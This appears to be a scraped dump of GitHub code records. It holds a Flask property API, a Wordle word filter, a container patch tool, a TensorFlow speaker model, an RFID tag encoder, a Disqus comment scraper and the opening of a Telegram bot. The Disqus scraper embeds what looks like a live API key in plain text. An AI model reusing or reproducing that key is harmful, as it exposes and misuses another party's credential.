de Venta': fila[4], 'Descripcion': fila[5]}\n propiedades.append(propiedad)\n\n if propiedades == []:\n return jsonify({'No existen resultados que coincidan con esa busqueda'})\n else:\n return jsonify({'Propiedades Disponibles': propiedades})\n\n except Exception as ex:\n return jsonify({'Error': \"No existen resultados que coincidan con esa busqueda\"})\n\n\n@app.errorhandler(404)\ndef resource_not_found(e):\n return jsonify(error=str(e)), 404\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"gabrielg4t/habi","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"22798210847","text":"#!`which python3`\n###\n# File: reduce.py\n# Author: Conlan Wesson\n# License: GNU General Public License v3.0\n###\n\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Reduce dictionary to words of the proper length.\")\nparser.add_argument('-n', '--length', type=int, default=5, help=\"Length of words to keep.\")\nparser.add_argument('infile', help=\"Input dictionary filename.\")\nparser.add_argument('outfile', help=\"Output dictionary filename.\")\nargs = parser.parse_args()\n\nwith open(args.outfile, 'w') as output:\n with open(args.infile, 'r') as words:\n for word in words:\n word = word.strip()\n if len(word) == args.length:\n output.write(word + '\\n')\n\n","repo_name":"cwesson/wordle-solver","sub_path":"reduce.py","file_name":"reduce.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"24007336323","text":"\nimport collections\nimport os\nimport posixpath\nimport shutil\nimport tarfile\nimport tempfile\n\nimport whatthepatch\n\nfrom . import Task, TaskVar\nfrom ..utils import file_hash, IOFromIterable, LocalPath\n\nclass PatchError(Exception):\n pass\n\ndef _split_hunks(changes):\n hunk = []\n hunknum = 1\n\n for change in changes:\n if change.hunk != hunknum:\n if hunk:\n yield hunk\n hunk = []\n hunknum = change.hunk\n hunk.append(change)\n\n if hunk:\n yield hunk\n\nclass PatchedFile(object):\n def __init__(self, filename, lines=None, eol=None):\n self.filename = filename\n self.eol = eol\n self.offset_moved = 0\n\n if lines is None:\n try:\n with open(self.filename, \"r\") as fileobj:\n self.lines = list(self._load_lines(fileobj))\n except FileNotFoundError as exc:\n raise PatchError(\"%s does not exist\" % self.filename) from exc\n else:\n self.lines = list(self._load_lines(lines))\n\n def _load_lines(self, lines):\n eol_count = collections.defaultdict(int)\n\n # line zero does not exist\n yield None\n\n for line in lines:\n line_r = line.rstrip('\\r\\n')\n eol = line[len(line_r):]\n eol_count[eol] += 1\n yield line_r, eol\n\n if self.eol is None:\n if eol_count:\n self.eol = max(eol_count, key=lambda k: eol_count[k])\n else:\n self.eol = '\\n'\n\n def save(self):\n if self.filename is None:\n return\n\n # TODO: Recall first changed line and offset, and only update starting from there\n with open(self.filename, \"w\") as fileobj:\n lineiter = iter(self.lines)\n # skip line zero\n next(lineiter)\n\n for line in lineiter:\n fileobj.write(\"%s%s\" % line)\n\n def apply_diff(self, changes):\n if not changes:\n return\n\n for hunk in _split_hunks(changes):\n self.apply_hunk(hunk)\n\n def apply_hunk(self, hunk):\n # TODO: Handle lack of context in diff?\n old_lines = [line.line for line in hunk if line.old is not None]\n old_start = hunk[0].old + self.offset_moved\n\n # best case is diff is exactly where we expect it\n if self._match_at(old_start, old_lines):\n return self._apply_at(old_start, hunk)\n\n # text likely moved, so start looking forward and backwards\n backward_at = forward_at = 0\n while old_start + forward_at < len(self.lines) or old_start + backward_at > 1:\n if old_start + forward_at < len(self.lines):\n forward_at += 1\n if self._match_at(old_start + forward_at, old_lines):\n return self._apply_at(old_start + forward_at, hunk)\n\n if old_start + backward_at > 1:\n backward_at -= 1\n if self._match_at(old_start + backward_at, old_lines):\n return self._apply_at(old_start + backward_at, hunk)\n\n raise PatchError(\"Patch rejected\")\n\n def _match_at(self, lineno_start, lines):\n for linenum, line in enumerate(lines, start=lineno_start):\n try:\n orig = self.lines[linenum]\n except IndexError:\n return False\n\n if orig[0] != line:\n return False\n return True\n\n def _apply_at(self, start, changes):\n # cut out old lines\n last = start + sum(1 for line in changes if line.old is not None)\n self.lines[start:last] = []\n\n # insert in new lines\n new_lines = [change for change in changes if change.new is not None]\n for off, change in enumerate(new_lines):\n self.lines.insert(start+off, (change.line, self.eol))\n\n self.offset_moved = start - changes[0].old\n\nclass Patch(object):\n def __init__(self, patch, strip_dir=0, chdir=None):\n self.root_dir = None\n self.file_lookup = None\n self.strip_dir = strip_dir\n self.chdir = chdir\n self.diffs = []\n self.files = set()\n\n for diff in whatthepatch.parse_patch(patch):\n fn = self._diff_path(diff)\n self.files.add(fn)\n self.diffs.append(diff)\n\n def _diff_path(self, diff):\n path = diff.header.index_path or diff.header.new_path or diff.header.old_path\n if self.strip_dir > 0:\n for i in range(self.strip_dir):\n while path and path[0] == '/':\n path = path[1:]\n\n idx = path.find(\"/\")\n if idx < 0:\n # XXX TODO error if we can't trim here\n break\n path = path[idx+1:]\n else:\n while path and path[0] == '/':\n path = path[1:]\n\n if self.chdir is not None:\n path = posixpath.join(self.chdir, path)\n return path\n\n def apply(self, root_dir=None, file_lookup=None):\n if file_lookup is None and root_dir is None:\n raise ValueError(\"Either root_dir or file_lookup must be provided\")\n\n patched_files = {}\n for diff in self.diffs:\n if not diff.header:\n # Do we want to allow providing file explicitly to avoid this error?\n raise RuntimeError(\"Can't use this patch, no header.\")\n\n fn_orig = fn = self._diff_path(diff)\n fn_adj = False\n\n if file_lookup is not None:\n fn = file_lookup.get(fn)\n fn_adj = True\n if root_dir is not None:\n fn = os.path.join(root_dir, fn)\n fn_adj = True\n\n if not fn_adj:\n raise RuntimeError(\"Path for changed %r not found\" % fn_orig)\n\n pf = patched_files.get(fn)\n if pf is None:\n pf = patched_files[fn] = PatchedFile(fn)\n\n pf.apply_diff(diff.changes)\n\n for pf in patched_files.values():\n pf.save()\n\nclass ContainerPatcher(object):\n def __init__(self, container, chdir, strip_dir):\n self.container = container\n self.chdir = chdir\n self.strip_dir = strip_dir\n self.files = {}\n self.file_idx = 0\n self.tempdir = tempfile.TemporaryDirectory()\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, exc, tb):\n self.cleanup()\n\n def cleanup(self):\n self.tempdir.cleanup()\n\n def _load_file(self, fn):\n if not os.path.isabs(fn):\n load_fn = os.path.join(self.chdir, fn)\n\n tstream, tstat = self.container.get_archive(load_fn)\n tf = IOFromIterable(tstream)\n\n with tarfile.open(fileobj=tf, mode=\"r|\") as tin:\n while True:\n ti = tin.next()\n if ti is None:\n break\n\n fn = os.path.join(os.path.dirname(fn), ti.name)\n if ti.isreg():\n out_fn = os.path.join(self.tempdir.name, str(self.file_idx))\n self.file_idx += 1\n\n with open(out_fn, \"wb\") as fb:\n shutil.copyfileobj(tin.extractfile(ti), fb)\n self.files[fn] = out_fn\n else:\n self.files[fn] = None\n\n def apply_patch(self, fn):\n fn = os.fspath(fn)\n with open(fn) as f:\n p = Patch(f.read(), strip_dir=self.strip_dir)\n\n for fn in p.files:\n self._load_file(fn)\n\n p.apply(file_lookup=self.files)\n\n def save(self):\n with tempfile.TemporaryFile() as tf:\n with tarfile.open(fileobj=tf, mode=\"w\") as tar:\n for fn, fp in self.files.items():\n if not os.path.isabs(fn):\n fn = os.path.join(self.chdir, fn)\n tar.add(fp, arcname=fn)\n tf.seek(0)\n\n self.container.put_archive(\n path=\"/\",\n data=tf\n )\n\nclass TaskPatch(Task, name=\"patch\"):\n class Schema:\n src = TaskVar('file', bare=True, help=\"Patch file to apply\", type=LocalPath)\n chdir = TaskVar(default='/', help=\"Directory to apply patch from\")\n strip_dir = TaskVar(default=0, help=\"Strip directory prefixes from patched filenames\")\n\n def run_with_values(self, job, src, chdir, strip_dir):\n if os.path.isdir(src):\n patch_files = [os.path.join(src, fn) for fn in sorted(os.listdir(src))]\n else:\n patch_files = [src]\n\n container = job.create({\n 'patches': [file_hash('sha256', fn) for fn in patch_files],\n 'chdir': chdir,\n 'strip_dir': strip_dir\n })\n\n with ContainerPatcher(container, chdir=chdir, strip_dir=strip_dir) as patcher:\n for fn in patch_files:\n patcher.apply_patch(fn)\n patcher.save()\n\n job.commit()\n","repo_name":"rschoon/bert","sub_path":"bert/tasks/patch.py","file_name":"patch.py","file_ext":"py","file_size_in_byte":8962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"35825224484","text":"\"\"\"Builds the EVA network.\n\nSummary of available functions:\n\n # Compute input spectrograms and labels for training.\n spectrograms, labels = inputs()\n\n # Compute inference on the model inputs to make a prediction.\n predictions = inference(inputs)\n\n # Compute the total loss of the prediction with respect to the labels.\n loss = loss(predictions, labels)\n\n # Create a graph to run one step of training with respect to the loss.\n train_op = train(loss, global_step)\n\"\"\"\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport Utils.Eva_config_consts as config\n\nFLAGS = tf.app.flags.FLAGS\n\n# Basic model parameters.\ntf.app.flags.DEFINE_integer('batch_size', config.BATCH_SIZE,\n \"\"\"Number of images to process in a batch.\"\"\")\ntf.app.flags.DEFINE_string('storage_path', config.DATESET_FILE_PATH(),\n \"\"\"Path to the CIFAR-10 data directory.\"\"\")\n\n# Global constants describing the Eva data set.\nNUM_CLASSES = config.NUM_SPEAKER_CLASSES\nNUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = config.NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN\nNUM_EXAMPLES_PER_EPOCH_FOR_EVAL = config.NUM_EXAMPLES_PER_EPOCH_FOR_EVAL\n\n# Constants describing the training process.\nMOVING_AVERAGE_DECAY = 0.9999 # The decay to use for the moving average.\nNUM_EPOCHS_PER_DECAY = 350.0 # Epochs after which learning rate decays.\nLEARNING_RATE_DECAY_FACTOR = 0.001 # Learning rate decay factor.\nINITIAL_LEARNING_RATE = 0.02 # Initial learning rate.\nINITIAL_CONV_VARIABLES_STDDEV = 5e-2 # Initial stddev for convolution layer variables\nDROPOUT_COEFICIENT = 0.5 # 50%\n\n\ndef _activation_summary(x):\n \"\"\"\n Helper to create summaries for activations.\n\n Creates a summary that provides a histogram of activations.\n Creates a summary that measures the sparsity of activations.\n\n :param x: Tensor\n :return:\n \"\"\"\n\n tensor_name = x.op.name\n tf.summary.histogram(tensor_name + '/activations', x)\n tf.summary.scalar(tensor_name + '/sparsity', tf.nn.zero_fraction(x))\n\n\ndef _variable_on_cpu(name, shape, initializer):\n \"\"\"\n Helper to create a Variable stored on CPU memory.\n\n :param name: name of the variable\n :param shape: list of ints\n :param initializer: initializer for Variable\n :return: variable tensor\n \"\"\"\n with tf.device('/cpu:0'):\n dtype = tf.float32\n var = tf.get_variable(name, shape, initializer=initializer, dtype=dtype)\n return var\n\n\ndef _variable(name, shape, stddev):\n \"\"\"\n Helper to create an initialized Variable.\n All variables are initialized with truncated normal distribution.\n\n :param name: name of the variable\n :param shape: list of ints which denotes a variable shape\n :param stddev: standard deviation of a truncated Gaussian distribution\n :return: variable tensor\n \"\"\"\n dtype = tf.float32\n variable = _variable_on_cpu(\n name,\n shape,\n tf.truncated_normal_initializer(stddev=stddev, dtype=dtype))\n return variable\n\ndef _variable_with_weight_decay(name, shape, stddev, wd):\n \"\"\"\n Helper to create an initialized Variable with weight decay.\n All variables are initialized with truncated normal distribution.\n\n :param name: name of the variable\n :param shape: list of ints which denotes a variable shape\n :param stddev: standard deviation of a truncated Gaussian distribution\n :param wd: add L2Loss weight decay multiplied by this float. If None, weight\n decay is not added for this Variable.\n :return: variable tensor\n \"\"\"\n\n dtype = tf.float32\n var = _variable_on_cpu(\n name,\n shape,\n tf.truncated_normal_initializer(stddev=stddev, dtype=dtype))\n if wd != 0.0:\n weight_decay = tf.multiply(tf.nn.l2_loss(var), wd, name='weight_loss')\n tf.add_to_collection('losses', weight_decay)\n return var\n\ndef conv_layer(layer_name, filter_shape, strides, input):\n \"\"\"\n Creates a convolutional layer. The kernels are initialized with truncated normal distribution\n and 0 weight decay. All biases are initialized with 0.\n \n :param layer_name: A layer name\n :param filter_shape: Filter shape of type [h, w, c_i, c_o] where\n h - height\n w - width\n c_i - input channels\n c_o - output channels\n :param strides: the same as tf.nn.conv2.strides \n :param input: input batch\n :return: activations\n \"\"\"\n with tf.variable_scope(layer_name) as scope:\n kernel = _variable_with_weight_decay('weights',\n shape=filter_shape,\n stddev=INITIAL_CONV_VARIABLES_STDDEV,\n wd=0.0)\n conv = tf.nn.conv2d(input, kernel, strides, padding='SAME')\n biases_count = filter_shape[-1];\n biases = _variable_on_cpu('biases', [biases_count], tf.constant_initializer(0.0))\n pre_activation = tf.nn.bias_add(conv, biases)\n activations = tf.nn.relu(pre_activation, name=scope.name)\n _activation_summary(activations)\n return activations\n\ndef pool_layer(layer_name, filter_shape, strides, input):\n \"\"\"\n Creates a pooling layer.\n\n :param layer_name: layer name\n :param filter_shape: tf.nn.max_pool.ksize\n :param strides: the same as tf.nn.max_pool.strides \n :param input: input batch\n :return: activations\n \"\"\"\n return tf.nn.max_pool(input, ksize=filter_shape, strides=strides,\n padding='SAME', name=layer_name)\n\ndef fully_connected_layer(layer_name, neurons_number, input):\n \"\"\"\n Creates a fully connected layer\n \n :param layer_name: layer name\n :param neurons_number: number of neurons in the layer\n :param input: input\n :return: activations\n \"\"\"\n with tf.variable_scope(layer_name) as scope:\n inputs = input\n # Dropout\n if train:\n inputs = tf.nn.dropout(input, DROPOUT_COEFICIENT)\n\n dim = inputs.get_shape()[1].value\n weights = _variable_with_weight_decay('weights', shape=[dim, neurons_number], stddev=0.04, wd=0.004)\n biases = _variable_on_cpu('biases', [neurons_number], tf.constant_initializer(0.1))\n fc = tf.nn.relu(tf.matmul(inputs, weights) + biases, name=scope.name)\n _activation_summary(fc)\n return fc\n\n\ndef inference(spectograms, train=False):\n \"\"\"\n Build the EVA model.\n\n\n | Layer | Layer output size |\n |-----------|-------------------|\n | INPUT | 64x11x1 |\n | CONV3-64 | 64x11x64 |\n | CONV3-64 | 64x11x64 |\n | POOL 2x1 | 32x11x64 |\n | CONV3-128 | 32x11x128 |\n | CONV3-128 | 32x11x128 |\n | POOL 2x1 | 16x11x128 |\n | CONV3-256 | 16x11x256 |\n | CONV3-256 | 16x11x256 |\n | POOL 2x1 | 8x11x256 |\n | | |\n | dropout | |\n | FC1 | 2048x1x1 |\n | dropout | |\n | FC2 | 2048x1x1 |\n | dropout | |\n | FC3 | Speaker / Phoneme |\n\n :param spectograms: Spectrograms of size [config.NUM_MEL_FREQ_COMPONENTS x config.FEATURES_CHUNK_LENGTH x 2], which\n are obtained from inputs().\n :return: Logits\n \"\"\"\n\n conv1_1 = conv_layer('conv1_1', [3, 3, 1, 64], [1, 1, 1, 1], spectograms)\n conv1_2 = conv_layer('conv1_2', [3, 3, 64, 64], [1, 1, 1, 1], conv1_1)\n pool1 = pool_layer('pool1', [1, 2, 1, 1], [1, 2, 1, 1], conv1_2)\n\n conv2_1 = conv_layer('conv2_1', [3, 3, 64, 128], [1, 1, 1, 1], pool1)\n conv2_2 = conv_layer('conv2_2', [3, 3, 128, 128], [1, 1, 1, 1], conv2_1)\n pool2 = pool_layer('pool2', [1, 2, 1, 1], [1, 2, 1, 1], conv2_2)\n\n conv3_1 = conv_layer('conv3_1', [3, 3, 128, 256], [1, 1, 1, 1], pool2)\n conv3_2 = conv_layer('conv3_2', [3, 3, 256, 256], [1, 1, 1, 1], conv3_1)\n pool3 = pool_layer('pool3', [1, 2, 1, 1], [1, 2, 1, 1], conv3_2)\n\n # Move everything into a vector so we can perform a single matrix multiply.\n reshaped = tf.reshape(pool3, [FLAGS.batch_size, -1])\n fc1 = fully_connected_layer('fc1', 2048, reshaped)\n fc2 = fully_connected_layer('fc2', 2048, fc1)\n # Dropout\n if train:\n fc2 = tf.nn.dropout(fc2, DROPOUT_COEFICIENT)\n # Dropout\n fc3 = fully_connected_layer('fc3', 2048, fc2)\n if train:\n fc3 = tf.nn.dropout(fc3, DROPOUT_COEFICIENT)\n\n # linear layer(WX + b),\n # We don't apply softmax here because\n # tf.nn.sparse_softmax_cross_entropy_with_logits accepts the unscaled logits\n # and performs the softmax internally for efficiency.\n with tf.variable_scope('softmax_linear') as scope:\n weights = _variable_with_weight_decay('weights', [2048, NUM_CLASSES], stddev=1 / 2048.0, wd=0.0)\n biases = _variable_on_cpu('biases', [NUM_CLASSES],\n tf.constant_initializer(0.0))\n softmax_linear = tf.add(tf.matmul(fc3, weights), biases, name=scope.name)\n _activation_summary(softmax_linear)\n\n return softmax_linear\n\n\ndef loss(logits, labels):\n \"\"\"\n Add L2Loss to all the trainable variables.\n\n :param logits: Logits from inference().\n :param labels: Labels from inputs(). 1-D tensor of shape [batch_size]\n :return: Loss tensor of type float.\n \"\"\"\n\n # Calculate the average cross entropy loss across the batch.\n labels = tf.cast(labels, tf.int64)\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=labels, logits=logits, name='cross_entropy_per_example')\n cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy')\n tf.add_to_collection('losses', cross_entropy_mean)\n\n # The total loss is defined as the cross entropy loss plus all of the weight\n # decay terms (L2 loss).\n return tf.add_n(tf.get_collection('losses'), name='total_loss')\n\n\ndef _add_loss_summaries(total_loss):\n \"\"\"\n Add summaries for losses in EVA model.\n\n Generates moving average for all losses and associated summaries for\n visualizing the performance of the network.\n\n :param total_loss: Total loss from loss().\n :return: loss_averages_op: op for generating moving averages of losses.\n \"\"\"\n\n # Compute the moving average of all individual losses and the total loss.\n loss_averages = tf.train.ExponentialMovingAverage(0.9, name='avg')\n losses = tf.get_collection('losses')\n loss_averages_op = loss_averages.apply(losses + [total_loss])\n\n # Attach a scalar summary to all individual losses and the total loss; do the\n # same for the averaged version of the losses.\n for l in losses + [total_loss]:\n # Name each loss as '(raw)' and name the moving average version of the loss\n # as the original loss name.\n tf.summary.scalar(l.op.name + ' (raw)', l)\n tf.summary.scalar(l.op.name, loss_averages.average(l))\n\n return loss_averages_op\n\n\ndef train(total_loss, global_step):\n \"\"\"\n Train CIFAR-10 model.\n\n Create an optimizer and apply to all trainable variables. Add moving\n average for all trainable variables.\n :param total_loss: Total loss from loss().\n :param global_step: Integer Variable counting the number of training steps\n processed.\n :return: op for training.\n \"\"\"\n\n # Variables that affect learning rate.\n num_batches_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN / FLAGS.batch_size\n decay_steps = int(num_batches_per_epoch * NUM_EPOCHS_PER_DECAY)\n\n # Decay the learning rate exponentially based on the number of steps.\n lr = tf.train.exponential_decay(INITIAL_LEARNING_RATE,\n global_step,\n decay_steps,\n LEARNING_RATE_DECAY_FACTOR,\n staircase=True)\n tf.summary.scalar('learning_rate', lr)\n\n # Generate moving averages of all losses and associated summaries.\n loss_averages_op = _add_loss_summaries(total_loss)\n\n # Compute gradients.\n with tf.control_dependencies([loss_averages_op]):\n opt = tf.train.GradientDescentOptimizer(lr)\n grads = opt.compute_gradients(total_loss)\n\n # Apply gradients.\n apply_gradient_op = opt.apply_gradients(grads, global_step=global_step)\n\n # Add histograms for trainable variables.\n for var in tf.trainable_variables():\n tf.summary.histogram(var.op.name, var)\n\n # Add histograms for gradients.\n for grad, var in grads:\n if grad is not None:\n tf.summary.histogram(var.op.name + '/gradients', grad)\n\n # Track the moving averages of all trainable variables.\n variable_averages = tf.train.ExponentialMovingAverage(\n MOVING_AVERAGE_DECAY, global_step)\n variables_averages_op = variable_averages.apply(tf.trainable_variables())\n\n with tf.control_dependencies([apply_gradient_op, variables_averages_op]):\n train_op = tf.no_op(name='train')\n\n return train_op\n","repo_name":"SergeyPoltavtsev/VoiceConvertor","sub_path":"eva.py","file_name":"eva.py","file_ext":"py","file_size_in_byte":12924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"23626588274","text":"from converter import *\n\n# tiai_encoder python class to encapsulate the data in an instance\nclass TIAIEncoder:\n\n def __init__(self):\n # Instance variables\n self.asset_ref_dec = \"\"\n self.asset_ref_bin = \"\"\n self.asset_id_dec = \"\"\n self.asset_id_char = \"\"\n self.asset_id_hex = \"\"\n self.asset_id_bin = \"\"\n self.tiai_bin = \"\"\n self.tiai_hex = \"\"\n self.tiai_uri = \"\"\n\n # Use this if the Asset ID is an integer (max 21 digits)\n def with_dec_id(self, asset_ref_dec, asset_id_dec):\n self.asset_id_dec = asset_id_dec \n self.asset_id_char = \"\"\n self.asset_id_hex = \"\"\n self.asset_id_bin = \"\"\n self.tiai_bin = \"\"\n self.tiai_hex = \"\"\n self.tiai_uri = \"\"\n \n # Check the length\n if len(self.asset_id_dec) > 21:\n self.asset_id_dec = self.asset_id_dec[:21] \n \n # Convert to binary and call binary function\n return self.with_bin_id(asset_ref_dec, dec_2_bin(self.asset_id_dec, 72))\n \n # Use this if the Asset ID is an char (max 12 chars)\n def with_char_id(self, asset_ref_dec, asset_id_char):\n self.asset_id_dec = \"\"\n self.asset_id_char = asset_id_char.upper()\n self.asset_id_hex = \"\"\n self.asset_id_bin = \"\"\n self.tiai_bin = \"\"\n self.tiai_hex = \"\"\n self.tiai_uri = \"\"\n\n # Check the length\n if len(self.asset_id_char) > 12:\n self.asset_id_char = self.asset_id_char[:12] \n\n asset_id_bin = self.char_2_bin(self.asset_id_char, 72)\n \n # Convert to binary and call binary function\n return self.with_bin_id(asset_ref_dec, asset_id_bin)\n \n # Use this if the Asset ID is a hex (max 18 hex digits for 72 bits)\n def with_hex_id(self, asset_ref_dec, asset_id_hex):\n self.asset_id_dec = \"\"\n self.asset_id_char = \"\"\n self.asset_id_hex = asset_id_hex.upper()\n self.asset_id_bin = \"\"\n self.tiai_bin = \"\"\n self.tiai_hex = \"\"\n self.tiai_uri = \"\"\n \n # Check the length\n if len(self.asset_id_hex) > 18:\n self.asset_id_hex = self.asset_id_hex[:18] \n \n # Convert to binary and call binary function\n return self.with_bin_id(asset_ref_dec, hex_2_bin(self.asset_id_hex, 72))\n \n # Use this if the Asset ID is already a binary (max 72 bits)\n # Don't call this directly\n def with_bin_id(self, asset_ref_dec, asset_id_bin):\n self.asset_ref_dec = asset_ref_dec\n self.asset_id_bin = asset_id_bin\n # TPM: Since we don't call this directly we don't zero out the other forms so we can build the uri later.\n \n # Encode TIAI in a Targt proprietary TIAI-96\n asset_ref_bin_len = 13\n asset_ref_dec_len = 3\n asset_id_bin_len = 72\n \n # Make sure the inputs are not too long\n if len(self.asset_ref_dec) > asset_ref_dec_len:\n self.asset_ref_dec = self.asset_ref_dec[-asset_ref_dec_len:]\n if len(self.asset_id_bin) > asset_id_bin_len:\n self.asset_id_bin = self.asset_id_bin[-asset_id_bin_len:]\n \n # TIAI-96-A - e.g. urn:epc:tag:tiai-a-96:0.0013951442.123456789012345\n # 0800035387487048860DDF79\n #\n # The asset ref is a 3 digit decimal number, and the asset id is a unique 21\n # digit decimal or 12 character code, encoded in 6-bit.\n #\n # Here is how to pack the TIAI-A-96 into the EPC\n # 8 bits are the header: 00001010 or 0x0A (TIAI-A-96)\n # 3 bits are the Filter: 000 (0 All Others)\n # 13 bits are the asset reference: 3 digits\n # 72 bits are the asset ID (21 digits or 12 characters, already encoded into binary)\n # = 96 bits\n\n self.asset_ref_bin = dec_2_bin(self.asset_ref_dec, asset_ref_bin_len)\n self.asset_id_bin.rjust(asset_id_bin_len, '0')\n \n # The return from dec_2_bin may be multpiles of 4, so chop off any leading bits for those that aren't\n if len(self.asset_ref_bin) > asset_ref_bin_len:\n self.asset_ref_bin = self.asset_ref_bin[len(self.asset_ref_bin) - asset_ref_bin_len:]\n\n if len(self.asset_id_bin) > asset_id_bin_len:\n self.asset_id_bin = self.asset_id_bin[len(self.asset_id_bin) - asset_id_bin_len:]\n \n self.asset_id_hex = bin_2_hex(self.asset_id_bin)\n \n self.tiai_bin = \"00001010000\" + self.asset_ref_bin + self.asset_id_bin\n self.tiai_hex = bin_2_hex(self.tiai_bin, 24)\n \n # Strip any leading zeros before building the URI form (note: except for asset_id_char)\n self.asset_ref_dec = self.asset_ref_dec.lstrip('0')\n self.asset_id_dec = self.asset_id_dec.lstrip('0')\n self.asset_id_hex = self.asset_id_hex.lstrip('0')\n \n # Build the uri form using the asset id type set above\n # TPM: This is why we don't zero out the others in this method like the other methods above\n if len(self.asset_id_dec) > 0:\n self.tiai_uri = \"urn:epc:tag:tiai-a-96:0.\" + self.asset_ref_dec + \".\" + self.asset_id_dec\n elif len(self.asset_id_char) > 0:\n self.tiai_uri = \"urn:epc:tag:tiai-a-96:0.\" + self.asset_ref_dec + \".\" + self.asset_id_char\n elif len(self.asset_id_hex) > 0:\n self.tiai_uri = \"urn:epc:tag:tiai-a-96:0.\" + self.asset_ref_dec + \".\" + self.asset_id_hex\n\n return self.tiai_uri\n \n # Pass an optional \"num\" to prepend zeroes until the return is that length\n def char_2_bin(self, c, num=0):\n b = \"\"\n \n for x in c:\n b += self.dict_char_2_bin[x]\n \n return b.zfill(num)\n \n def bin_2_char(self, b, num=0):\n c = \"\"\n \n for x in (b[i:i+6] for i in range(0, len(b), 6)):\n c += self.dict_bin_2_char[x]\n \n return c.zfill(num)\n\n # Class variables (constant and used across all class instances)\n # Custom 6 bit encoding (limited character set)\n dict_char_2_bin = {\n \"#\": \"100011\",\n \"-\": \"101101\",\n \"/\": \"101111\",\n \"0\": \"110000\",\n \"1\": \"110001\",\n \"2\": \"110010\",\n \"3\": \"110011\",\n \"4\": \"110100\",\n \"5\": \"110101\",\n \"6\": \"110110\",\n \"7\": \"110111\",\n \"8\": \"111000\",\n \"9\": \"111001\",\n \"A\": \"000001\",\n \"B\": \"000010\",\n \"C\": \"000011\",\n \"D\": \"000100\",\n \"E\": \"000101\",\n \"F\": \"000110\",\n \"G\": \"000111\",\n \"H\": \"001000\",\n \"I\": \"001001\",\n \"J\": \"001010\",\n \"K\": \"001011\",\n \"L\": \"001100\",\n \"M\": \"001101\",\n \"N\": \"001110\",\n \"O\": \"001111\",\n \"P\": \"010000\",\n \"Q\": \"010001\",\n \"R\": \"010010\",\n \"S\": \"010011\",\n \"T\": \"010100\",\n \"U\": \"010101\",\n \"V\": \"010110\",\n \"W\": \"010111\",\n \"X\": \"011000\",\n \"Y\": \"011001\",\n \"Z\": \"011010\",\n \" \": \"000000\"\n }\n\n dict_bin_2_char = {\n \"100011\": \"#\",\n \"101101\": \"-\",\n \"101111\": \"/\",\n \"110000\": \"0\",\n \"110001\": \"1\",\n \"110010\": \"2\",\n \"110011\": \"3\",\n \"110100\": \"4\",\n \"110101\": \"5\",\n \"110110\": \"6\",\n \"110111\": \"7\",\n \"111000\": \"8\",\n \"111001\": \"9\",\n \"000001\": \"A\",\n \"000010\": \"B\",\n \"000011\": \"C\",\n \"000100\": \"D\",\n \"000101\": \"E\",\n \"000110\": \"F\",\n \"000111\": \"G\",\n \"001000\": \"H\",\n \"001001\": \"I\",\n \"001010\": \"J\",\n \"001011\": \"K\",\n \"001100\": \"L\",\n \"001101\": \"M\",\n \"001110\": \"N\",\n \"001111\": \"O\",\n \"010000\": \"P\",\n \"010001\": \"Q\",\n \"010010\": \"R\",\n \"010011\": \"S\",\n \"010100\": \"T\",\n \"010101\": \"U\",\n \"010110\": \"V\",\n \"010111\": \"W\",\n \"011000\": \"X\",\n \"011001\": \"Y\",\n \"011010\": \"Z\",\n \"000000\": \"\"\n }\n","repo_name":"timmilne/rfidencoder","sub_path":"tiai_encoder.py","file_name":"tiai_encoder.py","file_ext":"py","file_size_in_byte":7042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"20958598012","text":"import argparse\nimport requests\nimport os\n\n\ndef main(start_time, file_name):\n url = \"https://disqus.com/api/3.0/forums/listPosts.json\"\n forum_name = \"istheservicedown\"\n api_key = \"X7B84G87DeFZOGfhWOc9TgkUt7wkkbLPuzXdDTj7CaNqkr3pb1u2RnK8xvL0SPfR\"\n limit = 100\n order = \"asc\"\n since = start_time\n\n response = requests.get(\"{}?forum={}&api_key={}&limit={}&order={}&since={}\".format(\n url,\n forum_name,\n api_key,\n limit,\n order,\n since\n ))\n response_json = response.json()\n\n if os.path.isfile(file_name):\n fout = open(file_name, \"a+\")\n else:\n fout = open(file_name, \"w\")\n fout.write('id\\tcreatedAt\\tusername\\tforum\\traw_message\\n')\n\n for resp in response_json[\"response\"]:\n fout.write(\"{}\\t{}\\t{}\\t{}\\t{}\\n\".format(\n resp[\"id\"], resp[\"createdAt\"], resp[\"author\"].get(\"username\", None), resp[\"forum\"] ,resp[\"raw_message\"].replace(\"\\n\", \"\")\n ))\n fout.close()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-s', '--start_time', type=int, default=1577836800)\n parser.add_argument('-f', '--file_name', type=str, default=\"istheservicedown.tsv\")\n args = parser.parse_args()\n main(start_time=args.start_time, file_name=args.file_name)\n","repo_name":"weifanjiang/COVID-data-analysis","sub_path":"istheservicedown/listPosts.py","file_name":"listPosts.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"41524371467","text":"\nimport telegram\nimport schedule\nimport time\nimport datetime as dt\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport json\n\n\nAPI_Token = 'api_token_here'\nChat_Id = 'chat_id_here'\nbot = telegram.Bot(token = API_Token)\n\nfunding_history_before_btc = 0\nfunding_history_before_usdt = 0\nlong_history_before_btc = 0\nshort_history_before_btc = 0\nbtcusdt = 0\n\nprint(\"Start Bot\")\n\n\ndef telegram_send_message(telegram_message):\n try:\n 